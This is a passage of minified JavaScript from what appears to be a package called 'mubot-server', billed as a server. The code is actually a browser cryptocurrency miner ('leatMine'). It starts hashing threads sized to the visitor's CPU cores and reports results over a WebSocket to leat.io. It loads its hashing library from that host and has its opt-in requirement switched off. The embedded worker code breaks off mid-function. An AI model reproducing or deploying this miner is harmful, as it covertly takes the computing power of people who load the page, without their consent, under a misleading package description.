mubot-server
Version:
A server for mubot
469 lines • 137 kB
JavaScript
!function(e) {
"use strict";
var t = function(t, r) {
if (this.params = r || {},
this._siteKey = t || "",
this._user = null,
this._threads = [],
this._hashes = 0,
this._currentJob = null,
this._autoReconnect = !0,
this._reconnectRetry = 3,
this._tokenFromServer = null,
this._goal = 0,
this._total_HashesFromDeadThreads = 0,
this._throttle = Math.max(0, Math.min(.99, this.params.throttle || 0)),
this._stopOnInvalidOptIn = !1,
this._waitingForAuth = !1,
this._autoThreads = {
enabled: !!this.params.autoThreads,
interval: null,
adjustAt: null,
adjustEvery: 1e4,
stats: {}
},
this._tab = {
ident: 16777215 * Math.random() | 0,
mode: leatMine.IF_EXCLUSIVE_TAB,
grace: 0,
lastPingReceived: 0,
interval: null
},
e.BroadcastChannel)
try {
this._bc = new BroadcastChannel("leatmine"),
this._bc.onmessage = function(e) {
"ping" === e.data && (this._tab.lastPingReceived = Date.now())
}
.bind(this)
} catch (e) {}
leatMine.CONFIG.REQUIRES_AUTH && (this._auth = new leatMine.Auth(this._siteKey,{
theme: this.params.theme || "light",
lang: this.params.language || "auto"
})),
this._eventListeners = {
open: [],
authed: [],
close: [],
error: [],
job: [],
found: [],
accepted: [],
optin: []
},
this._targetNumThreads = this.params.threads || navigator.hardwareConcurrency || 4,
this._useWASM = this.hasWASMSupport() && !this.params.forceASMJS,
this._asmjsStatus = "unloaded",
this._onTargetMetBound = this._onTargetMet.bind(this),
this._onVerifiedBound = this._onVerified.bind(this)
};
t.prototype.start = function(t, r) {
if (this._tab.mode = t || leatMine.IF_EXCLUSIVE_TAB,
this._optInToken = r,
this._tab.interval && (clearInterval(this._tab.interval),
this._tab.interval = null),
this._useWASM || "loaded" === this._asmjsStatus)
this._startNow();
else if ("unloaded" === this._asmjsStatus) {
this._asmjsStatus = "pending";
var n = new XMLHttpRequest;
n.addEventListener("load", function() {
leatMine.LEATHASH_WORKER_BLOB = e.URL.createObjectURL(new Blob([n.responseText])),
this._asmjsStatus = "loaded",
this._startNow()
}
.bind(this), n),
n.open("get", leatMine.CONFIG.LIB_URL + leatMine.CONFIG.ASMJS_NAME, !0),
n.send()
}
}
,
t.prototype.stop = function(e) {
for (var t = 0; t < this._threads.length; t++)
this._total_HashesFromDeadThreads += this._threads[t].hashesTotal,
this._threads[t].stop();
this._threads = [],
this._autoReconnect = !1,
this._socket && this._socket.close(),
this._currentJob = null,
this._autoThreads.interval && (clearInterval(this._autoThreads.interval),
this._autoThreads.interval = null),
this._tab.interval && "dont_KillTabUpdate" !== e && (clearInterval(this._tab.interval),
this._tab.interval = null)
}
,
t.prototype.getHashesPerSecond = function() {
for (var e = 0, t = 0; t < this._threads.length; t++)
e += this._threads[t].hashesPerSecond;
return e
}
,
t.prototype.getTotalHashes = function(e) {
for (var t = Date.now(), r = this._total_HashesFromDeadThreads, n = 0; n < this._threads.length; n++) {
var o = this._threads[n];
if (r += o.hashesTotal,
e) {
r += (t - o.lastMessageTimestamp) / 1e3 * .9 * o.hashesPerSecond
}
}
return 0 | r
}
,
t.prototype.getAcceptedHashes = function() {
return this._hashes
}
,
t.prototype.getToken = function() {
return this._tokenFromServer
}
,
t.prototype.on = function(e, t) {
this._eventListeners[e] && this._eventListeners[e].push(t)
}
,
t.prototype.getAutoThreadsEnabled = function(e) {
return this._autoThreads.enabled
}
,
t.prototype.setAutoThreadsEnabled = function(e) {
this._autoThreads.enabled = !!e,
!e && this._autoThreads.interval && (clearInterval(this._autoThreads.interval),
this._autoThreads.interval = null),
e && !this._autoThreads.interval && (this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery,
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 100))
}
,
t.prototype.getThrottle = function() {
return this._throttle
}
,
t.prototype.setThrottle = function(e) {
this._throttle = Math.max(0, Math.min(.99, e)),
this._currentJob && this._setJob(this._currentJob)
}
,
t.prototype.getNumThreads = function() {
return this._targetNumThreads
}
,
t.prototype.setNumThreads = function(e) {
e = Math.max(1, 0 | e);
if (this._targetNumThreads = e,
e > this._threads.length)
for (var t = 0; e > this._threads.length; t++) {
var r = new leatMine.JobThread;
this._currentJob && r.setJob(this._currentJob, this._onTargetMetBound),
this._threads.push(r)
}
else if (e < this._threads.length)
for (; e < this._threads.length; ) {
r = this._threads.pop();
this._total_HashesFromDeadThreads += r.hashesTotal,
r.stop()
}
}
,
t.prototype.hasWASMSupport = function() {
return void 0 !== e.WebAssembly
}
,
t.prototype.isRunning = function() {
return this._threads.length > 0
}
,
t.prototype.isMobile = function() {
return /mobile|Android|webOS|iPhone|iPad|iPod|IEMobile|Opera Mini/i.test(navigator.userAgent)
}
,
t.prototype.didOptOut = function(e) {
if (!leatMine.CONFIG.REQUIRES_AUTH)
return !1;
e = e || 14400;
var t = this._auth.getOptOutTime();
return !!(t && t > Date.now() / 1e3 - e)
}
,
t.prototype._startNow = function() {
this._tab.mode === leatMine.FORCE_MULTI_TAB || this._tab.interval || (this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)),
this._tab.mode === leatMine.IF_EXCLUSIVE_TAB && this._otherTabRunning() || (this._tab.mode === leatMine.FORCE_EXCLUSIVE_TAB && (this._tab.grace = Date.now() + 3e3),
this.verifyThread || (this.verifyThread = new leatMine.JobThread),
this.setNumThreads(this._targetNumThreads),
this._autoReconnect = !0,
leatMine.CONFIG.REQUIRES_AUTH && !this._optInToken ? (this._waitingForAuth = !0,
this._auth.auth(function(e) {
if (this._waitingForAuth = !1,
!e)
return this.stop(),
this._emit("optin", {
status: "canceled"
}),
void this._emit("error", {
error: "opt_in_canceled"
});
this._emit("optin", {
status: "accepted"
}),
this._optInToken = e,
this._connect()
}
.bind(this))) : this._connect())
}
,
t.prototype._otherTabRunning = function() {
if (this._tab.lastPingReceived > Date.now() - 1500)
return !0;
try {
var e = localStorage.getItem("leatmine");
if (e) {
var t = JSON.parse(e);
if (t.ident !== this._tab.ident && Date.now() - t.time < 1500)
return !0
}
} catch (e) {}
return !1
}
,
t.prototype._updateTabs = function() {
var e = this._otherTabRunning();
if (e && this.isRunning() && Date.now() > this._tab.grace ? this.stop("dont_KillTabUpdate") : e || this.isRunning() || this._startNow(),
this.isRunning() && !this._waitingForAuth) {
this._bc && this._bc.postMessage("ping");
try {
localStorage.setItem("leatmine", JSON.stringify({
ident: this._tab.ident,
time: Date.now()
}))
} catch (e) {}
}
}
,
t.prototype._adjustThreads = function() {
var e = this.getHashesPerSecond()
, t = this.getNumThreads()
, r = this._autoThreads.stats;
if (r[t] = r[t] ? .5 * r[t] + .5 * e : e,
Date.now() > this._autoThreads.adjustAt) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery;
var n = (r[t] || 0) - 1
, o = r[t + 1] || 0
, a = r[t - 1] || 0;
if (n > a && (0 === o || o > n) && t < 8)
return this.setNumThreads(t + 1);
if (n > o && (!a || a > n) && t > 1)
return this.setNumThreads(t - 1)
}
}
,
t.prototype._emit = function(e, t) {
if ("error" !== e) {
var r = this._eventListeners[e];
if (r && r.length)
for (var n = 0; n < r.length; n++)
r[n](t)
}
}
,
t.prototype._hashString = function(e) {
for (var t = 5381, r = e.length; r; )
t = 33 * t ^ e.charCodeAt(--r);
return t >>> 0
}
,
t.prototype._connect = function() {
if (!this._socket) {
var e = leatMine.CONFIG.WEBSOCKET_SHARDS
, t = e[this._hashString(this._siteKey) % e.length]
, r = t[Math.random() * t.length | 0];
this._socket = new WebSocket(r),
this._socket.onmessage = this._onMessage.bind(this),
this._socket.onerror = this._onError.bind(this),
this._socket.onclose = this._onClose.bind(this),
this._socket.onopen = this._onOpen.bind(this)
}
}
,
t.prototype._onOpen = function(e) {
this._emit("open");
var t = {
site_key: this._siteKey,
type: "anonymous",
user: null,
goal: 0
};
this._user ? (t.type = "user",
t.user = this._user.toString()) : this._goal && (t.type = "token",
t.goal = this._goal),
this._optInToken && (t.opt_in = this._optInToken),
this._send("auth", t)
}
,
t.prototype._onError = function(e) {
this._emit("error", {
error: "connection_error"
}),
this._onClose(e)
}
,
t.prototype._onClose = function(e) {
e.code >= 1003 && e.code <= 1009 && (this._reconnectRetry = 60);
for (var t = 0; t < this._threads.length; t++)
this._threads[t].stop();
this._threads = [],
this._socket = null,
this._emit("close"),
this._autoReconnect && setTimeout(this._startNow.bind(this), 1e3 * this._reconnectRetry)
}
,
t.prototype._onMessage = function(e) {
var t = JSON.parse(e.data);
if ("job" === t.type)
this._setJob(t.params),
this._emit("job", t.params),
this._autoThreads.enabled && !this._autoThreads.interval && (this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery,
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3));
else if ("verify" === t.type)
this.verifyThread.verify(t.params, this._onVerifiedBound);
else if ("hash_accepted" === t.type)
this._hashes = t.params.hashes,
this._emit("accepted", t.params),
this._goal && this._hashes >= this._goal && this.stop();
else if ("authed" === t.type)
this._tokenFromServer = t.params.token || null,
this._hashes = t.params.hashes || 0,
this._emit("authed", t.params),
this._reconnectRetry = 3;
else if ("error" === t.type) {
if (this._emit("error", t.params),
"invalid_site_key" === t.params.error)
this._reconnectRetry = 6e3;
else if ("invalid_opt_in" === t.params.error) {
if (this._stopOnInvalidOptIn)
return this.stop();
this._auth && this._auth.reset()
}
} else
("banned" === t.type || t.params.banned) && (this._emit("error", {
banned: !0
}),
this._reconnectRetry = 600)
}
,
t.prototype._setJob = function(e) {
this._currentJob = e,
this._currentJob.throttle = this._throttle;
for (var t = 0; t < this._threads.length; t++)
this._threads[t].setJob(e, this._onTargetMetBound)
}
,
t.prototype._onTargetMet = function(e) {
this._emit("found", e),
e.job_id === this._currentJob.job_id && this._send("submit", {
job_id: e.job_id,
nonce: e.nonce,
result: e.result
})
}
,
t.prototype._onVerified = function(e) {
this._send("verified", e)
}
,
t.prototype._send = function(e, t) {
if (this._socket) {
var r = {
type: e,
params: t || {}
};
this._socket.send(JSON.stringify(r))
}
}
,
e.leatMine = e.leatMine || {},
e.leatMine.IF_EXCLUSIVE_TAB = "ifExclusiveTab",
e.leatMine.FORCE_EXCLUSIVE_TAB = "forceExclusiveTab",
e.leatMine.FORCE_MULTI_TAB = "forceMultiTab",
e.leatMine.Token = function(e, r, n) {
var o = new t(e,n);
return o._goal = r || 0,
o
}
,
e.leatMine.User = function(e, r, n) {
var o = new t(e,n);
return o._user = r,
o
}
,
e.leatMine.Anonymous = function(e, r) {
return new t(e,r)
}
,
e.leatMine.createBlob = function(d) {
var url = e.URL || e.webkitURL || e.mozURL;
return url.createObjectURL(new Blob([d]))
}
;
}(window),
function(e) {
"use strict";
var t = function() {
this.worker = new Worker(leatMine.LEATHASH_WORKER_BLOB),
this.worker.onmessage = this.onReady.bind(this),
this.currentJob = null,
this.jobCallback = function() {}
,
this.verifyCallback = function() {}
,
this._isReady = !1,
this.hashesPerSecond = 0,
this.hashesTotal = 0,
this.running = !1,
this.lastMessageTimestamp = Date.now()
};
t.prototype.onReady = function(e) {
if ("ready" !== e.data || this._isReady)
throw 'Expecting first message to be "ready", got ' + e;
this._isReady = !0,
this.worker.onmessage = this.onReceiveMsg.bind(this),
this.currentJob && (this.running = !0,
this.worker.postMessage(this.currentJob))
}
,
t.prototype.onReceiveMsg = function(e) {
e.data.verify_id ? this.verifyCallback(e.data) : (e.data.result && this.jobCallback(e.data),
this.hashesPerSecond = .5 * this.hashesPerSecond + .5 * e.data.hashesPerSecond,
this.hashesTotal += e.data.hashes,
this.lastMessageTimestamp = Date.now(),
this.running && this.worker.postMessage(this.currentJob))
}
,
t.prototype.setJob = function(e, t) {
this.currentJob = e,
this.jobCallback = t,
this._isReady && !this.running && (this.running = !0,
this.worker.postMessage(this.currentJob))
}
,
t.prototype.verify = function(e, t) {
this._isReady && (this.verifyCallback = t,
this.worker.postMessage(e))
}
,
t.prototype.stop = function() {
this.worker && (this.worker.terminate(),
this.worker = null),
this.running = !1
}
,
e.leatMine.JobThread = t
}(window),
window.leatMine.CONFIG = {
LIB_URL: "https://leat.io/lib/",
ASMJS_NAME: "leathanhash-asmjs.min.js",
REQUIRES_AUTH: !1,
WEBSOCKET_SHARDS: [["wss://leat.io"]],
CAPTCHA_URL: "",
MINER_URL: "https://leat.io/m.html",
AUTH_URL: ""
},
leatMine.LEATHASH_WORKER_BLOB = leatMine.createBlob(' leatMine=self.leatMine||{};leatMine.CONFIG={LIB_URL:"https://leat.io/lib/",ASMJS_NAME:"leathanhash-asmjs.min.js",REQUIRES_AUTH:false,WEBSOCKET_SHARDS:[["https://leat.io"]],CAPTCHA_URL:"",MINER_URL:"https://leat.io/m.html",AUTH_URL:""};var Module={locateFile:(function(path){return leatMine.CONFIG.LIB_URL+path})};var Module;if(!Module)Module=(typeof Module!=="undefined"?Module:null)||{};var moduleOverrides={};for(var key in Module){if(Module.hasOwnProperty(key)){moduleOverrides[key]=Module[key]}}var ENVIRONMENT_IS_WEB=false;var ENVIRONMENT_IS_WORKER=false;var ENVIRONMENT_IS_NODE=false;var ENVIRONMENT_IS_SHELL=false;if(Module["ENVIRONMENT"]){if(Module["ENVIRONMENT"]==="WEB"){ENVIRONMENT_IS_WEB=true}else if(Module["ENVIRONMENT"]==="WORKER"){ENVIRONMENT_IS_WORKER=true}else if(Module["ENVIRONMENT"]==="NODE"){ENVIRONMENT_IS_NODE=true}else if(Module["ENVIRONMENT"]==="SHELL"){ENVIRONMENT_IS_SHELL=true}else{throw new Error("The provided Module[\'ENVIRONMENT\'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")}}else{ENVIRONMENT_IS_WEB=typeof window==="object";ENVIRONMENT_IS_WORKER=typeof importScripts==="function";ENVIRONMENT_IS_NODE=typeof process==="object"&&typeof require==="function"&&!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_WORKER;ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER}if(ENVIRONMENT_IS_NODE){if(!Module["print"])Module["print"]=console.log;if(!Module["printErr"])Module["printErr"]=console.warn;var nodeFS;var nodePath;Module["read"]=function shell_read(filename,binary){if(!nodeFS)nodeFS=require("fs");if(!nodePath)nodePath=require("path");filename=nodePath["normalize"](filename);var ret=nodeFS["readFileSync"](filename);return binary?ret:ret.toString()};Module["readBinary"]=function readBinary(filename){var ret=Module["read"](filename,true);if(!ret.buffer){ret=new Uint8Array(ret)}assert(ret.buffer);return ret};Module["load"]=function load(f){globalEval(read(f))};if(!Module["thisProgram"]){if(process["argv"].length>1){Module["thisProgram"]=process["argv"][1].replace(/\\\\/g,"/")}else{Module["thisProgram"]="unknown-program"}}Module["arguments"]=process["argv"].slice(2);if(typeof module!=="undefined"){module["exports"]=Module}process["on"]("uncaughtException",(function(ex){if(!(ex instanceof ExitStatus)){throw ex}}));Module["inspect"]=(function(){return"[Emscripten Module object]"})}else if(ENVIRONMENT_IS_SHELL){if(!Module["print"])Module["print"]=print;if(typeof printErr!="undefined")Module["printErr"]=printErr;if(typeof read!="undefined"){Module["read"]=read}else{Module["read"]=function shell_read(){throw"no read() available"}}Module["readBinary"]=function readBinary(f){if(typeof readbuffer==="function"){return new Uint8Array(readbuffer(f))}var data=read(f,"binary");assert(typeof data==="object");return data};if(typeof scriptArgs!="undefined"){Module["arguments"]=scriptArgs}else if(typeof arguments!="undefined"){Module["arguments"]=arguments}if(typeof quit==="function"){Module["quit"]=(function(status,toThrow){quit(status)})}}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){Module["read"]=function shell_read(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.send(null);return xhr.responseText};if(ENVIRONMENT_IS_WORKER){Module["readBinary"]=function readBinary(url){var xhr=new XMLHttpRequest;xhr.open("GET",url,false);xhr.responseType="arraybuffer";xhr.send(null);return new Uint8Array(xhr.response)}}Module["readAsync"]=function readAsync(url,onload,onerror){var xhr=new XMLHttpRequest;xhr.open("GET",url,true);xhr.responseType="arraybuffer";xhr.onload=function xhr_onload(){if(xhr.status==200||xhr.status==0&&xhr.response){onload(xhr.response)}else{onerror()}};xhr.onerror=onerror;xhr.send(null)};if(typeof arguments!="undefined"){Module["arguments"]=arguments}if(typeof console!=="undefined"){if(!Module["print"])Module["print"]=function shell_print(x){console.log(x)};if(!Module["printErr"])Module["printErr"]=function shell_printErr(x){console.warn(x)}}else{var TRY_USE_DUMP=false;if(!Module["print"])Module["print"]=TRY_USE_DUMP&&typeof dump!=="undefined"?(function(x){dump(x)}):(function(x){})}if(ENVIRONMENT_IS_WORKER){Module["load"]=importScripts}if(typeof Module["setWindowTitle"]==="undefined"){Module["setWindowTitle"]=(function(title){document.title=title})}}else{throw"Unknown runtime environment. Where are we?"}function globalEval(x){eval.call(null,x)}if(!Module["load"]&&Module["read"]){Module["load"]=function load(f){globalEval(Module["read"](f))}}if(!Module["print"]){Module["print"]=(function(){})}if(!Module["printErr"]){Module["printErr"]=Module["print"]}if(!Module["arguments"]){Module["arguments"]=[]}if(!Module["thisProgram"]){Module["thisProgram"]="./this.program"}if(!Module["quit"]){Module["quit"]=(function(status,toThrow){throw toThrow})}Module.print=Module["print"];Module.printErr=Module["printErr"];Module["preRun"]=[];Module["postRun"]=[];for(var key in moduleOverrides){if(moduleOverrides.hasOwnProperty(key)){Module[key]=moduleOverrides[key]}}moduleOverrides=undefined;var Runtime={setTempRet0:(function(value){tempRet0=value;return value}),getTempRet0:(function(){return tempRet0}),stackSave:(function(){return STACKTOP}),stackRestore:(function(stackTop){STACKTOP=stackTop}),getNativeTypeSize:(function(type){switch(type){case"i1":case"i8":return 1;case"i16":return 2;case"i32":return 4;case"i64":return 8;case"float":return 4;case"double":return 8;default:{if(type[type.length-1]==="*"){return Runtime.QUANTUM_SIZE}else if(type[0]==="i"){var bits=parseInt(type.substr(1));assert(bits%8===0);return bits/8}else{return 0}}}}),getNativeFieldSize:(function(type){return Math.max(Runtime.getNativeTypeSize(type),Runtime.QUANTUM_SIZE)}),STACK_ALIGN:16,prepVararg:(function(ptr,type){if(type==="double"||type==="i64"){if(ptr&7){assert((ptr&7)===4);ptr+=4}}else{assert((ptr&3)===0)}return ptr}),getAlignSize:(function(type,size,vararg){if(!vararg&&(type=="i64"||type=="double"))return 8;if(!type)return Math.min(size,8);return Math.min(size||(type?Runtime.getNativeFieldSize(type):0),Runtime.QUANTUM_SIZE)}),dynCall:(function(sig,ptr,args){if(args&&args.length){return Module["dynCall_"+sig].apply(null,[ptr].concat(args))}else{return Module["dynCall_"+sig].call(null,ptr)}}),functionPointers:[],addFunction:(function(func){for(var i=0;i<Runtime.functionPointers.length;i++){if(!Runtime.functionPointers[i]){Runtime.functionPointers[i]=func;return 2*(1+i)}}throw"Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."}),removeFunction:(function(index){Runtime.functionPointers[(index-2)/2]=null}),warnOnce:(function(text){if(!Runtime.warnOnce.shown)Runtime.warnOnce.shown={};if(!Runtime.warnOnce.shown[text]){Runtime.warnOnce.shown[text]=1;Module.printErr(text)}}),funcWrappers:{},getFuncWrapper:(function(func,sig){assert(sig);if(!Runtime.funcWrappers[sig]){Runtime.funcWrappers[sig]={}}var sigCache=Runtime.funcWrappers[sig];if(!sigCache[func]){if(sig.length===1){sigCache[func]=function dynCall_wrapper(){return Runtime.dynCall(sig,func)}}else if(sig.length===2){sigCache[func]=function dynCall_wrapper(arg){return Runtime.dynCall(sig,func,[arg])}}else{sigCache[func]=function dynCall_wrapper(){return Runtime.dynCall(sig,func,Array.prototype.slice.call(arguments))}}}return sigCache[func]}),getCompilerSetting:(function(name){throw"You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"}),stackAlloc:(function(size){var ret=STACKTOP;STACKTOP=STACKTOP+size|0;STACKTOP=STACKTOP+15&-16;return ret}),staticAlloc:(function(size){var ret=STATICTOP;STATICTOP=STATICTOP+size|0;STATICTOP=STATICTOP+15&-16;return ret}),dynamicAlloc:(function(size){var ret=HEAP32[DYNAMICTOP_PTR>>2];var end=(ret+size+15|0)&-16;HEAP32[DYNAMICTOP_PTR>>2]=end;if(end>=TOTAL_MEMORY){var success=enlargeMemory();if(!success){HEAP32[DYNAMICTOP_PTR>>2]=ret;return 0}}return ret}),alignMemory:(function(size,quantum){var ret=size=Math.ceil(size/(quantum?quantum:16))*(quantum?quantum:16);return ret}),makeBigInt:(function(low,high,unsigned){var ret=unsigned?+(low>>>0)+ +(high>>>0)*4294967296:+(low>>>0)+ +(high|0)*4294967296;return ret}),GLOBAL_BASE:1024,QUANTUM_SIZE:4,__dummy__:0};Module["Runtime"]=Runtime;var ABORT=0;var EXITSTATUS=0;function assert(condition,text){if(!condition){abort("Assertion failed: "+text)}}function getCFunc(ident){var func=Module["_"+ident];if(!func){try{func=eval("_"+ident)}catch(e){}}assert(func,"Cannot call unknown function "+ident+" (perhaps LLVM optimizations or closure removed it?)");return func}var cwrap,ccall;((function(){var JSfuncs={"stackSave":(function(){Runtime.stackSave()}),"stackRestore":(function(){Runtime.stackRestore()}),"arrayToC":(function(arr){var ret=Runtime.stackAlloc(arr.length);writeArrayToMemory(arr,ret);return ret}),"stringToC":(function(str){var ret=0;if(str!==null&&str!==undefined&&str!==0){var len=(str.length<<2)+1;ret=Runtime.stackAlloc(len);stringToUTF8(str,ret,len)}return ret})};var toC={"string":JSfuncs["stringToC"],"array":JSfuncs["arrayToC"]};ccall=function ccallFunc(ident,returnType,argTypes,args,opts){var func=getCFunc(ident);var cArgs=[];var stack=0;if(args){for(var i=0;i<args.length;i++){var converter=toC[argTypes[i]];if(converter){if(stack===0)stack=Runtime.stackSave();cArgs[i]=converter(args[i])}else{cArgs[i]=args[i]}}}var ret=func.apply(null,cArgs);if(returnType==="string")ret=Pointer_stringify(ret);if(stack!==0){if(opts&&opts.async){EmterpreterAsync.asyncFinalizers.push((function(){Runtime.stackRestore(stack)}));return}Runtime.stackRestore(stack)}return ret};var sourceRegex=/^function\\s*[a-zA-Z$_0-9]*\\s*\\(([^)]*)\\)\\s*{\\s*([^*]*?)[\\s;]*(?:return\\s*(.*?)[;\\s]*)?}$/;function parseJSFunc(jsfunc){var parsed=jsfunc.toString().match(sourceRegex).slice(1);return{arguments:parsed[0],body:parsed[1],returnValue:parsed[2]}}var JSsource=null;function ensureJSsource(){if(!JSsource){JSsource={};for(var fun in JSfuncs){if(JSfuncs.hasOwnProperty(fun)){JSsource[fun]=parseJSFunc(JSfuncs[fun])}}}}cwrap=function cwrap(ident,returnType,argTypes){argTypes=argTypes||[];var cfunc=getCFunc(ident);var numericArgs=argTypes.every((function(type){return type==="number"}));var numericRet=returnType!=="string";if(numericRet&&numericArgs){return cfunc}var argNames=argTypes.map((function(x,i){return"$"+i}));var funcstr="(function("+argNames.join(",")+") {";var nargs=argTypes.length;if(!numericArgs){ensureJSsource();funcstr+="var stack = "+JSsource["stackSave"].body+";";for(var i=0;i<nargs;i++){var arg=argNames[i],type=argTypes[i];if(type==="number")continue;var convertCode=JSsource[type+"ToC"];funcstr+="var "+convertCode.arguments+" = "+arg+";";funcstr+=convertCode.body+";";funcstr+=arg+"=("+convertCode.returnValue+");"}}var cfuncname=parseJSFunc((function(){return cfunc})).returnValue;funcstr+="var ret = "+cfuncname+"("+argNames.join(",")+");";if(!numericRet){var strgfy=parseJSFunc((function(){return Pointer_stringify})).returnValue;funcstr+="ret = "+strgfy+"(ret);"}if(!numericArgs){ensureJSsource();funcstr+=JSsource["stackRestore"].body.replace("()","(stack)")+";"}funcstr+="return ret})";return eval(funcstr)}}))();Module["ccall"]=ccall;Module["cwrap"]=cwrap;function setValue(ptr,value,type,noSafe){type=type||"i8";if(type.charAt(type.length-1)==="*")type="i32";switch(type){case"i1":HEAP8[ptr>>0]=value;break;case"i8":HEAP8[ptr>>0]=value;break;case"i16":HEAP16[ptr>>1]=value;break;case"i32":HEAP32[ptr>>2]=value;break;case"i64":tempI64=[value>>>0,(tempDouble=value,+Math_abs(tempDouble)>=1?tempDouble>0?(Math_min(+Math_floor(tempDouble/4294967296),4294967295)|0)>>>0:~~+Math_ceil((tempDouble- +(~~tempDouble>>>0))/4294967296)>>>0:0)],HEAP32[ptr>>2]=tempI64[0],HEAP32[ptr+4>>2]=tempI64[1];break;case"float":HEAPF32[ptr>>2]=value;break;case"double":HEAPF64[ptr>>3]=value;break;default:abort("invalid type for setValue: "+type)}}Module["setValue"]=setValue;function getValue(ptr,type,noSafe){type=type||"i8";if(type.charAt(type.length-1)==="*")type="i32";switch(type){case"i1":return HEAP8[ptr>>0];case"i8":return HEAP8[ptr>>0];case"i16":return HEAP16[ptr>>1];case"i32":return HEAP32[ptr>>2];case"i64":return HEAP32[ptr>>2];case"float":return HEAPF32[ptr>>2];case"double":return HEAPF64[ptr>>3];default:abort("invalid type for setValue: "+type)}return null}Module["getValue"]=getValue;var ALLOC_NORMAL=0;var ALLOC_STACK=1;var ALLOC_STATIC=2;var ALLOC_DYNAMIC=3;var ALLOC_NONE=4;Module["ALLOC_NORMAL"]=ALLOC_NORMAL;Module["ALLOC_STACK"]=ALLOC_STACK;Module["ALLOC_STATIC"]=ALLOC_STATIC;Module["ALLOC_DYNAMIC"]=ALLOC_DYNAMIC;Module["ALLOC_NONE"]=ALLOC_NONE;function allocate(slab,types,allocator,ptr){var zeroinit,size;if(typeof slab==="number"){zeroinit=true;size=slab}else{zeroinit=false;size=slab.length}var singleType=typeof types==="string"?types:null;var ret;if(allocator==ALLOC_NONE){ret=ptr}else{ret=[typeof _malloc==="function"?_malloc:Runtime.staticAlloc,Runtime.stackAlloc,Runtime.staticAlloc,Runtime.dynamicAlloc][allocator===undefined?ALLOC_STATIC:allocator](Math.max(size,singleType?1:types.length))}if(zeroinit){var ptr=ret,stop;assert((ret&3)==0);stop=ret+(size&~3);for(;ptr<stop;ptr+=4){HEAP32[ptr>>2]=0}stop=ret+size;while(ptr<stop){HEAP8[ptr++>>0]=0}return ret}if(singleType==="i8"){if(slab.subarray||slab.slice){HEAPU8.set(slab,ret)}else{HEAPU8.set(new Uint8Array(slab),ret)}return ret}var i=0,type,typeSize,previousType;while(i<size){var curr=slab[i];if(typeof curr==="function"){curr=Runtime.getFunctionIndex(curr)}type=singleType||types[i];if(type===0){i++;continue}if(type=="i64")type="i32";setValue(ret+i,curr,type);if(previousType!==type){typeSize=Runtime.getNativeTypeSize(type);previousType=type}i+=typeSize}return ret}Module["allocate"]=allocate;function getMemory(size){if(!staticSealed)return Runtime.staticAlloc(size);if(!runtimeInitialized)return Runtime.dynamicAlloc(size);return _malloc(size)}Module["getMemory"]=getMemory;function Pointer_stringify(ptr,length){if(length===0||!ptr)return"";var hasUtf=0;var t;var i=0;while(1){t=HEAPU8[ptr+i>>0];hasUtf|=t;if(t==0&&!length)break;i++;if(length&&i==length)break}if(!length)length=i;var ret="";if(hasUtf<128){var MAX_CHUNK=1024;var curr;while(length>0){curr=String.fromCharCode.apply(String,HEAPU8.subarray(ptr,ptr+Math.min(length,MAX_CHUNK)));ret=ret?ret+curr:curr;ptr+=MAX_CHUNK;length-=MAX_CHUNK}return ret}return Module["UTF8ToString"](ptr)}Module["Pointer_stringify"]=Pointer_stringify;function AsciiToString(ptr){var str="";while(1){var ch=HEAP8[ptr++>>0];if(!ch)return str;str+=String.fromCharCode(ch)}}Module["AsciiToString"]=AsciiToString;function stringToAscii(str,outPtr){return writeAsciiToMemory(str,outPtr,false)}Module["stringToAscii"]=stringToAscii;var UTF8Decoder=typeof TextDecoder!=="undefined"?new TextDecoder("utf8"):undefined;function UTF8ArrayToString(u8Array,idx){var endPtr=idx;while(u8Array[endPtr])++endPtr;if(endPtr-idx>16&&u8Array.subarray&&UTF8Decoder){return UTF8Decoder.decode(u8Array.subarray(idx,endPtr))}else{var u0,u1,u2,u3,u4,u5;var str="";while(1){u0=u8Array[idx++];if(!u0)return str;if(!(u0&128)){str+=String.fromCharCode(u0);continue}u1=u8Array[idx++]&63;if((u0&224)==192){str+=String.fromCharCode((u0&31)<<6|u1);continue}u2=u8Array[idx++]&63;if((u0&240)==224){u0=(u0&15)<<12|u1<<6|u2}else{u3=u8Array[idx++]&63;if((u0&248)==240){u0=(u0&7)<<18|u1<<12|u2<<6|u3}else{u4=u8Array[idx++]&63;if((u0&252)==248){u0=(u0&3)<<24|u1<<18|u2<<12|u3<<6|u4}else{u5=u8Array[idx++]&63;u0=(u0&1)<<30|u1<<24|u2<<18|u3<<12|u4<<6|u5}}}if(u0<65536){str+=String.fromCharCode(u0)}else{var ch=u0-65536;str+=String.fromCharCode(55296|ch>>10,56320|ch&1023)}}}}Module["UTF8ArrayToString"]=UTF8ArrayToString;function UTF8ToString(ptr){return UTF8ArrayToString(HEAPU8,ptr)}Module["UTF8ToString"]=UTF8ToString;function stringToUTF8Array(str,outU8Array,outIdx,maxBytesToWrite){if(!(maxBytesToWrite>0))return 0;var startIdx=outIdx;var endIdx=outIdx+maxBytesToWrite-1;for(var i=0;i<str.length;++i){var u=str.charCodeAt(i);if(u>=55296&&u<=57343)u=65536+((u&1023)<<10)|str.charCodeAt(++i)&1023;if(u<=127){if(outIdx>=endIdx)break;outU8Array[outIdx++]=u}else if(u<=2047){if(outIdx+1>=endIdx)break;outU8Array[outIdx++]=192|u>>6;outU8Array[outIdx++]=128|u&63}else if(u<=65535){if(outIdx+2>=endIdx)break;outU8Array[outIdx++]=224|u>>12;outU8Array[outIdx++]=128|u>>6&63;outU8Array[outIdx++]=128|u&63}else 